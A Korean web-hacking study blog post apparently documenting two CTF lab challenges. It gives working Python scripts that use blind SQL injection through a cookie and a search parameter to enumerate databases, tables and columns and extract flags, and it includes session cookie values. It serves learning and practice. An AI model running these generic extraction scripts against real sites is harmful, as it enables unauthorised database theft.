저번 실습에서 찾은 SQL Injection 포인트로 flag를 찾는 것까지 해보겠습니다.
1. flag를 찾아라
1) SQL Injection 포인트 찾기
쿠키에 포함된 user 정보로 마이페이지를 채워주는 부분이 있었고 이때 쿠키의 user에 SQL Injection 이 가능했습니다.
참일 때는 Nothing Here..., 거짓일때는 아무것도 출력되지 않기때문에 SQL의 참 거짓에 따라 결과가 다릅니다.
이 조건을 사용하여 Blind SQL Injection을 할 수 있습니다.
2) select 문 가능한지 확인
select * from member where user='user'
이런식으로 서버측 쿼리에서 쿠키의 user로 정보를 가져올 것 입니다.
# qwer' and (조건) and '1'='1 입력
select * from member where user='qwer' and (조건) and '1'='1'
이런식으로 만들어주면 (조건)안의 결과에 따라 우리가 찾은 참 거짓의 결과를 확인할 수 있습니다.
이제 조건에 select 문을 사용하여 select가 되는지 확인해보면 됩니다.
# qwer' and (select 'test')='test' and '1'='1 입력
select * from member where user='qwer' and (select 'test')='test' and '1'='1'
우리가 생각한 참의 결과인 Nothing Here 이 출력됩니다.
3) 공격 format 만들기
# 공격 format
select * from member where user='qwer' and ord(substr((__SQL__), 1, 1))=0 and '1'='1'
이제 SQL 에 우리가 찾고싶은 데이터를 가져오는 SQL 문을 입력하면 해당 데이터의 첫글자를 확인할 수 있습니다.
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
cookie = {
'user' : 'qwer',
'session' : '9d78d9a6-4e92-42d8-8fa8-5e7b128affe2.LeAXQIHTbPbLnlQcntYAUKv4GSc',
'PHPSESSID' : '5v5btcd7saf8rmhi9qqsm58tl2',
}
// 쿠키를 사용한 blind sqli 함수
def searchDatabaseWithCookie(sql, url, cookie):
result = ''
i = 0
// 실제 사용자 이름
user = 'qwer'
// 실패와 성공을 확인할 수 있는 단어
successWord = 'Nothing'
while(True):
ascii = [33, 127]
i += 1
attackFormat = f"{user}' and (ord(substr(({sql}), {i}, 1)) > 0) and '1'='1"
cookie['user'] = attackFormat
response = requests.post(url, cookies=cookie)
if successWord not in(response.text):
break
while(True):
center = int(sum(ascii) // 2)
attackFormat = f"{user}' and (ord(substr(({sql}), {i}, 1)) > {center}) and '1'='1"
cookie['user'] = attackFormat
response = requests.post(url, cookies=cookie)
if successWord in(response.text):
ascii[0] = center
else: ascii[1] = center
if ascii[1]-ascii[0] == 1:
attackFormat = f"{user}' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) and '1'='1"
cookie['user'] = attackFormat
response = requests.post(url, cookies=cookie)
if successWord in(response.text):
result += chr(ascii[0])
break
else:
result += chr(ascii[1])
break
return result
저번에 사용한 자동화 함수를 요청에 쿠키를 보내게 바꿔주고,
조금더 다른 경우에도 쉽게 사용할 수 있게 앞에 실제 사용자이름과 성공 실패 여부를 확인할 수 있는 단어도 입력받아
이 부분만 변경하면 다른 챌린지에도 적용시킬 수 있게 만들었습니다.
4) DB 이름 확인
이제 위의 3에서 만든 함수에 원하는 sql만 같이 인자로 넣어주면 해당 sql로 실행한 결과를 알아낼 수 있습니다.
sql = "select database()"
dbName = searchDatabaseWithCookie(sql,url,cookie)
print(dbName)
위의 코드처럼 데이버테이스 이름을 가져오는 sql을 실행해주면 됩니다.
이제 자동화로 할 것이기 때문에 전체 데이터베이스이름을 가져오면 좋을 것 같습니다.
dbList = []
i = 0
while(True):
sql = f"select schema_name from information_schema.schemata limit {i}, 1"
dbName = searchDatabaseWithCookie(sql,url,cookie)
if not dbName: break
dbList.append(dbName)
i += 1
print(dbList)
실행할 때 전체 데이터베이스 이름에 대하여 한줄씩 가져와 리스트에 추가해줍니다.
데이터베이스이름 |
information_schema |
sqli_6 |
테이블 이름 확인하기 전 information_schema는 찾아볼 필요가 없기때문에 리스트에서 빼줍니다.
5) Table 이름 확인
TableList={}
for dbName in dbList:
i = 0
while(True):
sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit {i}, 1"
tableName = searchDatabaseWithCookie(sql, url, cookie)
i+=1
print(tableName)
if not tableName: break
if dbName in TableList:
TableList[dbName].append(tableName)
else:
TableList[dbName] = [tableName]
print(TableList)
table도 dbList 만큼 반복하여 모든 데이테베이스에 대하여 존재하는 테이블을 확인합니다.
tableList 결과 => {'sqli_6': ['board', 'flag_table', 'member']}
6) 컬럼 이름 확인
columnList={}
for db, table in tableList.items():
for tableName in table:
i = 0
while(True):
sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit {i}, 1"
columnName = searchDatabaseWithCookie(sql, url, cookie)
i+=1
print(columnName)
if not columnName: break
if tableName in columnList:
columnList[tableName].append(columnName)
else:
columnList[tableName] = [columnName]
print(columnList)
컬럼도 모든 테이블에 대해 반복하여 결과를 구합니다.
columnList 결과 => {'board': ['username', 'title', 'views', 'date', 'time', 'content', 'id', 'likes', 'likes_count', 'file'], 'flag_table': ['idx', 'flag'], 'member': ['user_id', 'user_pass', 'name', 'user_level', 'info']}
테이블 이름 | 컬럼이름 |
board | username, title, views, date, time, content, id, likes, likes_count, file |
flag_table | idx, flag |
member | user_id, user_pass, name, user_level, info |
아마도 flag_table 테이블의 flag 컬럼에 있을 것 같네요
7) 데이터 추출
result = []
i=0
while(True):
sql = f"select flag from flag_table limit {i}, 1"
flag = searchDatabaseWithCookie(sql,url,cookie)
i += 1
if not flag: break
result.append(flag)
print(result)
이렇게 flag 데이터까지 추출할 수 있었습니다.
데이터베이스 이름, 테이블 이름, 컬럼 이름 가져올 때도 뭔가 비슷하여 함수화 할 수 있을 것같은데 좀 미묘하게 달라 어떻게 해야할지 모르겠습니다.
그래도 이렇게 반복해서 flag 뿐만 아니라 데이터베이스에 저장되어있는 모든 정보를 가져올 수 있었습니다.
실제로는 데이터베이스의 크키가 엄청나서 이렇게 모든 정보를 가져오는 것은 비효율적일 수 있기 때문에, 중요한 정보가 있을 것 같은 곳만 찾아도 될 것 같습니다.
2. flag를 찾아라
1) SQL Injection 포인트 찾기
게시판 검색 기능에서 우리에게 입력받는 값이 컬럼에 위치하는 option_val 부분에서 SQL Injection이 취약점이 발생했었습니다.
(조건) and username 으로 바꿔주면 where (조건) and username like ~~ 이렇게 변경될 것이라 추측하였고 조건에 따라 게시글 결과가 나오거나 나오지 않았습니다.
그럼 이부분의 조건의 참과 거짓으로 Blind SQL Injection이 가능할 것입니다.
2) select 가능한지 확인
select * from board where option_val like '%board_result%' and (날짜)
아마 우리가 요청에 포함시켜 전달한 option_val의 컬럼에 board_result의 단어가 포함되어 있는지 검색하여 결과를 출력해줄 것입니다.
# (조건) and username 입력
select * from board where (조건) and username like '%q%' and (날짜)
조건에 따라 참일 경우 username에 대해 like 문을 실행할 것이고 거짓일 경우 where 조건에 맞는 결과가 없어 아무 결과도 출력되지 않기 때문에 참과 거짓으로 결과가 달라집니다.
# (select 'test')='test' and username 입력
select * from board where (select 'test')='test' and username like '%q%' and (날짜)
select 가 가능한지 확인할 수 있습니다. 이렇게 작성하면 'test'='test'가 되어 username에 q가 포함된 게시글을 보여줍니다.
select 를 사용가능한 것을 확인할 수 있고 결과가 다르다는 것 또한 확인 가능합니다.
3) 공격 format 만들기
# 공격 format
select * from board where (ord(substr((__SQL__), 1, 1))=0) and username like '%board_result%'
SQL 부분에 우리가 원하는 데이터를 가져오는 SQL 문을 작성하게하면 참 거짓으로 해당 데이터의 첫글자를 알 수 있습니다.
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php"
params = {
'option_val': 'qwer',
'board_result': 'q',
'board_search': '%F0%9F%94%8D',
'date_from': '',
'date_to': '',
}
cookie = {
'session' : '9d78d9a6-4e92-42d8-8fa8-5e7b128affe2.LeAXQIHTbPbLnlQcntYAUKv4GSc',
'PHPSESSID' : '5v5btcd7saf8rmhi9qqsm58tl2',
}
// param과 cookie를 통해 Blind Sql 실행 함수
def searchDatabaseWithSql(sql, url, params, cookie):
result = ''
i = 0
// 매번 바뀌는 정상적인 컬럼과 성공여부를 판단해주는 단어 선택
user = 'username'
successWord = 'qwer'
while(True):
ascii = [33, 127]
i += 1
attackFormat = f"(ord(substr(({sql}), {i}, 1)) > 0) and {user}"
params['option_val'] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if successWord not in(response.text):
break
while(True):
center = int(sum(ascii) // 2)
attackFormat = f"(ord(substr(({sql}), {i}, 1)) > {center}) and {user}"
params['option_val'] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if successWord in(response.text):
ascii[0] = center
else: ascii[1] = center
if ascii[1]-ascii[0] == 1:
attackFormat = f"(ord(substr(({sql}), {i}, 1)) = {ascii[0]}) and {user}"
params['option_val'] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if successWord in(response.text):
result += chr(ascii[0])
break
else:
result += chr(ascii[1])
break
return result
처음에 요청 바디 부분만 바꾸면 될 줄 알고 쿠키정보는 넣지않고 param으로만 요청을 보내니 잘못된 접근이라고 뜨며 실행이 안되었습니다.
그래서 쿠키 정보도 함께 요청을 보내주니 정상적으로 우리가 원하는 결과를 얻었습니다.
쿠키 정보로 요청의 권한도 체크하는 것 같습니다.
4) DB 이름 확인
dbList = []
i = 0
while(True):
sql = f"select schema_name from information_schema.schemata limit {i}, 1"
dbName = searchDatabaseWithSql(sql,url,params,cookie)
i += 1
# information_schema는 dbList에서 제외
if dbName == 'information_schema': continue
if not dbName: break
dbList.append(dbName)
print(dbList)
dbList 결과 => ['sqli_7']
데이터베이스 이름 |
sqli_7 |
5) Table 이름 확인
dbList = ['sqli_7']
tableList={}
for dbName in dbList:
i = 0
while(True):
sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit {i}, 1"
tableName = searchDatabaseWithSql(sql, url, params, cookie)
i+=1
print(tableName)
if not tableName: break
if dbName in tableList:
tableList[dbName].append(tableName)
else:
tableList[dbName] = [tableName]
print(tableList)
전 챌린지에서 사용했던 코드 그대로 함수에 params만 추가해주면 됩니다.
tableList 결과 => {'sqli_7': ['board', 'flagTable', 'member']}
데이터베이스 이름 | 테이블 이름 |
sqli_7 | board, flagTable, member |
6) 컬럼 이름 확인
tableList={'sqli_7': ['board', 'flagTable', 'member']}
columnList={}
for db, table in tableList.items():
for tableName in table:
i = 0
while(True):
sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit {i}, 1"
columnName = searchDatabaseWithSql(sql, url,params, cookie)
i+=1
print(columnName)
if not columnName: break
if tableName in columnList:
columnList[tableName].append(columnName)
else:
columnList[tableName] = [columnName]
print(columnList)
이번에도 역시 전에 사용한 코드 그대로 params만 추가해주었습니다.
columnList 결과 => {'board': ['username', 'title', 'views', 'date', 'time', 'content', 'id', 'likes', 'likes_count', 'file'], 'flagTable': ['idx', 'flag'], 'member': ['user_id', 'user_pass', 'name', 'user_level', 'info']}
테이블 이름 | 컬럼 이름 |
board | username, title, views, date, time, content, id, likes, likes_count, file |
flagTable | idx, flag |
member | user_id, user_pass, name, user_level, info |
7) 데이터 추출
flagTable 테이블의 flag 컬럼에 flag가 있을 것입니다.
columnList={'board': ['username', 'title', 'views', 'date', 'time', 'content', 'id', 'likes', 'likes_count', 'file'], 'flagTable': ['idx', 'flag'], 'member': ['user_id', 'user_pass', 'name', 'user_level', 'info']}
result = []
i=0
while(True):
sql = f"select flag from flagTable limit {i}, 1"
flag = searchDatabaseWithSql(sql, url, params, cookie)
i += 1
if not flag: break
result.append(flag)
print(result)
이번에도 역시 flag까지 구하기 성공하였습니다.
'웹 해킹' 카테고리의 다른 글
웹 해킹 공부하기 5 - 1 (XSS) (2) | 2023.12.22 |
---|---|
웹 해킹 공부하기 4 - 과제 (0) | 2023.12.16 |
웹 해킹 공부일기장 4 - 1 (SQL Injection 포인트 찾기) (0) | 2023.12.15 |
웹 해킹 공부일기장 4 - 2 (SQL Injection 정리) (2) | 2023.12.14 |
웹 해킹 공부 일기장 3 - 과제 (챌린지2) (0) | 2023.12.10 |